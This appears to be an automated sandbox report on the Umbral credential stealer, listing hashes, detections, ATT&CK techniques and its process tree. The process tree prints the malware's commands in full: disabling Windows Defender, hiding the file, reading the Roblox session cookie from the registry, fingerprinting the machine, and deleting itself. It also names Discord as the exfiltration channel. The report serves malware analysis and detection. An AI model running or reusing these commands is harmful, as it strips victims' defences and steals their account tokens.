umbral | 354e9e533a21c053448fcd4baf837f9c36ffbd6467cfdca6519ec70b2974653d

Analysis

max time kernel
113s
max time network
115s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
02/02/2025, 15:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Umbral.exe
Size

229KB
MD5

6743f7ff6fc7ca5a26be995ad9f2a2ec
SHA1

9afd04785b6d64fecaf716be09a6521ff9fc723b
SHA256

354e9e533a21c053448fcd4baf837f9c36ffbd6467cfdca6519ec70b2974653d
SHA512

f99f2bc59c8e4a3121be2c2223597800e0b79be4ff27101492f75beb8f4a8cd57875e275ac30865bb145842c7cde306071f04cb39e82db4c978f725694db9bb5
SSDEEP

6144:9loZMzrIkd8g+EtXHkv/iD4tV6ClS8e1mZMqi:foZcL+EP8TiN

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/3576-1-0x000001A3A1530000-0x000001A3A1570000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4324	powershell.exe
876	powershell.exe
4120	powershell.exe
1976	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	discord.com
24	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4920	cmd.exe
4456	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3852	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4456	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3576	Umbral.exe
1976	powershell.exe
1976	powershell.exe
4120	powershell.exe
4120	powershell.exe
4324	powershell.exe
4324	powershell.exe
1044	powershell.exe
1044	powershell.exe
876	powershell.exe
876	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3576	Umbral.exe
Token: SeIncreaseQuotaPrivilege	4340	wmic.exe
Token: SeSecurityPrivilege	4340	wmic.exe
Token: SeTakeOwnershipPrivilege	4340	wmic.exe
Token: SeLoadDriverPrivilege	4340	wmic.exe
Token: SeSystemProfilePrivilege	4340	wmic.exe
Token: SeSystemtimePrivilege	4340	wmic.exe
Token: SeProfSingleProcessPrivilege	4340	wmic.exe
Token: SeIncBasePriorityPrivilege	4340	wmic.exe
Token: SeCreatePagefilePrivilege	4340	wmic.exe
Token: SeBackupPrivilege	4340	wmic.exe
Token: SeRestorePrivilege	4340	wmic.exe
Token: SeShutdownPrivilege	4340	wmic.exe
Token: SeDebugPrivilege	4340	wmic.exe
Token: SeSystemEnvironmentPrivilege	4340	wmic.exe
Token: SeRemoteShutdownPrivilege	4340	wmic.exe
Token: SeUndockPrivilege	4340	wmic.exe
Token: SeManageVolumePrivilege	4340	wmic.exe
Token: 33	4340	wmic.exe
Token: 34	4340	wmic.exe
Token: 35	4340	wmic.exe
Token: 36	4340	wmic.exe
Token: SeIncreaseQuotaPrivilege	4340	wmic.exe
Token: SeSecurityPrivilege	4340	wmic.exe
Token: SeTakeOwnershipPrivilege	4340	wmic.exe
Token: SeLoadDriverPrivilege	4340	wmic.exe
Token: SeSystemProfilePrivilege	4340	wmic.exe
Token: SeSystemtimePrivilege	4340	wmic.exe
Token: SeProfSingleProcessPrivilege	4340	wmic.exe
Token: SeIncBasePriorityPrivilege	4340	wmic.exe
Token: SeCreatePagefilePrivilege	4340	wmic.exe
Token: SeBackupPrivilege	4340	wmic.exe
Token: SeRestorePrivilege	4340	wmic.exe
Token: SeShutdownPrivilege	4340	wmic.exe
Token: SeDebugPrivilege	4340	wmic.exe
Token: SeSystemEnvironmentPrivilege	4340	wmic.exe
Token: SeRemoteShutdownPrivilege	4340	wmic.exe
Token: SeUndockPrivilege	4340	wmic.exe
Token: SeManageVolumePrivilege	4340	wmic.exe
Token: 33	4340	wmic.exe
Token: 34	4340	wmic.exe
Token: 35	4340	wmic.exe
Token: 36	4340	wmic.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeIncreaseQuotaPrivilege	2532	wmic.exe
Token: SeSecurityPrivilege	2532	wmic.exe
Token: SeTakeOwnershipPrivilege	2532	wmic.exe
Token: SeLoadDriverPrivilege	2532	wmic.exe
Token: SeSystemProfilePrivilege	2532	wmic.exe
Token: SeSystemtimePrivilege	2532	wmic.exe
Token: SeProfSingleProcessPrivilege	2532	wmic.exe
Token: SeIncBasePriorityPrivilege	2532	wmic.exe
Token: SeCreatePagefilePrivilege	2532	wmic.exe
Token: SeBackupPrivilege	2532	wmic.exe
Token: SeRestorePrivilege	2532	wmic.exe
Token: SeShutdownPrivilege	2532	wmic.exe
Token: SeDebugPrivilege	2532	wmic.exe
Token: SeSystemEnvironmentPrivilege	2532	wmic.exe
Token: SeRemoteShutdownPrivilege	2532	wmic.exe
Token: SeUndockPrivilege	2532	wmic.exe
Token: SeManageVolumePrivilege	2532	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3576 wrote to memory of 4340	3576	Umbral.exe	84
PID 3576 wrote to memory of 4340	3576	Umbral.exe	84
PID 3576 wrote to memory of 2468	3576	Umbral.exe	89
PID 3576 wrote to memory of 2468	3576	Umbral.exe	89
PID 3576 wrote to memory of 1976	3576	Umbral.exe	91
PID 3576 wrote to memory of 1976	3576	Umbral.exe	91
PID 3576 wrote to memory of 4120	3576	Umbral.exe	93
PID 3576 wrote to memory of 4120	3576	Umbral.exe	93
PID 3576 wrote to memory of 4324	3576	Umbral.exe	95
PID 3576 wrote to memory of 4324	3576	Umbral.exe	95
PID 3576 wrote to memory of 1044	3576	Umbral.exe	97
PID 3576 wrote to memory of 1044	3576	Umbral.exe	97
PID 3576 wrote to memory of 2532	3576	Umbral.exe	99
PID 3576 wrote to memory of 2532	3576	Umbral.exe	99
PID 3576 wrote to memory of 3584	3576	Umbral.exe	101
PID 3576 wrote to memory of 3584	3576	Umbral.exe	101
PID 3576 wrote to memory of 3940	3576	Umbral.exe	103
PID 3576 wrote to memory of 3940	3576	Umbral.exe	103
PID 3576 wrote to memory of 876	3576	Umbral.exe	105
PID 3576 wrote to memory of 876	3576	Umbral.exe	105
PID 3576 wrote to memory of 3852	3576	Umbral.exe	107
PID 3576 wrote to memory of 3852	3576	Umbral.exe	107
PID 3576 wrote to memory of 4920	3576	Umbral.exe	109
PID 3576 wrote to memory of 4920	3576	Umbral.exe	109
PID 4920 wrote to memory of 4456	4920	cmd.exe	111
PID 4920 wrote to memory of 4456	4920	cmd.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2468	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3576
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4340
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1044
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3584
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3940
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:876
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3852
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4920
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
ba42012e626d8c04b25c5e8bcb49d58e

SHA1
4f542888067e87d2d4dd8ced7bc901abd60f819b

SHA256
0a3c73d3b3afc81747d415241a047a1cadd117a0536606b89e57ecf8836e40ff

SHA512
6678e24f430379c3c2ec0385fc02d0db9a65720072b57e4b36f23be65c82b4d3da2692e1bf0d575bdd59d5673fa1b64ab99d1881367af632bb89121b1981fe11

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b0a78e60bfb279d18fd3d6e7a67411f5

SHA1
9344fe3654a14bc66afb9dc6ea215fabfbe5c906

SHA256
a28890c82033d3deaf5770ecd1b0239c77321acc93704b1d4b1e167b91e30aeb

SHA512
9548be23bec645cd705482f78d43b63659e38cf879c34f7071f42fd86ee02039379a5e92fbe0f1c74c12aaebabdd8002f57eba111d3e855cbd0c89a110e346f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8bdc446bddcd95dc1d2b28e9a8fe5674

SHA1
dee7a224dd35d6836ec2330c563a77c31b05610d

SHA256
d3ff7dc2371ca39d666cc2eeddbfe83638a854644e1708ac8268ed8c20da0df9

SHA512
adf74ae5afd817ae0c5e73f136565351e580c0477ad073957e16c3753579dbbc62c1821f43688d2888792ed5d183df0c929bab4dca22e0842e7a73ae5069b740

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tlqxyx0a.rje.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1976-4-0x00007FFE75BF0000-0x00007FFE766B1000-memory.dmp

Filesize
10.8MB

Download
memory/1976-5-0x00007FFE75BF0000-0x00007FFE766B1000-memory.dmp

Filesize
10.8MB

Download
memory/1976-11-0x0000014D24570000-0x0000014D24592000-memory.dmp

Filesize
136KB

Download
memory/1976-18-0x00007FFE75BF0000-0x00007FFE766B1000-memory.dmp

Filesize
10.8MB

Download
memory/1976-3-0x00007FFE75BF0000-0x00007FFE766B1000-memory.dmp

Filesize
10.8MB

Download
memory/3576-33-0x000001A3BBD90000-0x000001A3BBDE0000-memory.dmp

Filesize
320KB

Download
memory/3576-32-0x000001A3BBCC0000-0x000001A3BBD36000-memory.dmp

Filesize
472KB

Download
memory/3576-34-0x000001A3BBB10000-0x000001A3BBB2E000-memory.dmp

Filesize
120KB

Download
memory/3576-1-0x000001A3A1530000-0x000001A3A1570000-memory.dmp

Filesize
256KB

Download
memory/3576-0-0x00007FFE75BF3000-0x00007FFE75BF5000-memory.dmp

Filesize
8KB

Download
memory/3576-70-0x000001A3BBAE0000-0x000001A3BBAEA000-memory.dmp

Filesize
40KB

Download
memory/3576-71-0x000001A3BBC40000-0x000001A3BBC52000-memory.dmp

Filesize
72KB

Download
memory/3576-2-0x00007FFE75BF0000-0x00007FFE766B1000-memory.dmp

Filesize
10.8MB

Download
memory/3576-89-0x00007FFE75BF0000-0x00007FFE766B1000-memory.dmp

Filesize
10.8MB

Download